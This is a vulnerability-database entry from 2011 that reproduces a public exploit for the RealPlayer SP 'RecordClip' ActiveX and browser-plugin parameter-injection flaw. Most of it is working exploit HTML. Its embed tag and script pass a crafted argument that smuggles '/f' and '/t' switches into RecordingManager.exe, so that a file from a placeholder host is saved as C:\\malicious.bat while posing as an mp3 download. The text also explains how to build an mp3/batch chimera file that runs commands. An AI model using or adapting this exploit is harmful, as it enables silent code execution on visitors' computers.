Real Networks RealPlayer SP 'RecordClip' Method Remote Code Execution

2011-01-19T00:00:00
ID SSV:20332
Type seebug
Reporter Root
Modified 2011-01-19T00:00:00

Description

No description provided by source.

                                        
                                            
                                                Sources:  http://www.securityfocus.com/bid/44443/info
          http://packetstormsecurity.org/files/view/97522/recordingmanager-ie.txt
<html>
 
<p>
Written by Sean de Regge (seanderegge hotmail.com)
 
Exploit for the parameter injection bug in Realplayers RecordClip() activeX function and firefox plugin
http://www.zerodayinitiative.com/advisories/ZDI-10-211/
 
C:\Program Files\Real\RealPlayer\RecordingManager.exe has 2 interesting switches:
/t will spoof the download of any file so you can make it look like it's downloading a normal mp3 file
/f will make it download to any location on the disk instead of the realplayer downloads folder
 
Restrictions:
The extension on server side must be a valid media file (ie: .mp3)
Realplayer does some checks on the file to see if it is a valid media file too, so we need to create a
chimera file, which will parse as a valid mp3 file and a valid batch file.
Best is to take a valid mp3 file and modify it in a hex editor to have your batch commands in the first couple of bytes.
</p>
 
<OBJECT ID="obj" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5">
</OBJECT>
<embed type="audio/x-pn-realaudio-plugin"
 
 
    controls="ImageWindow"
    console="video1"
    src='http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3'
    width="240"
    height="180"
    autostart=true>
 
 </embed>
<script>
 
 
var file = 'http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3';
 
obj.RecordClip(file, "audio/mpeg3", "clipInfo");
     
 
</script>
</html>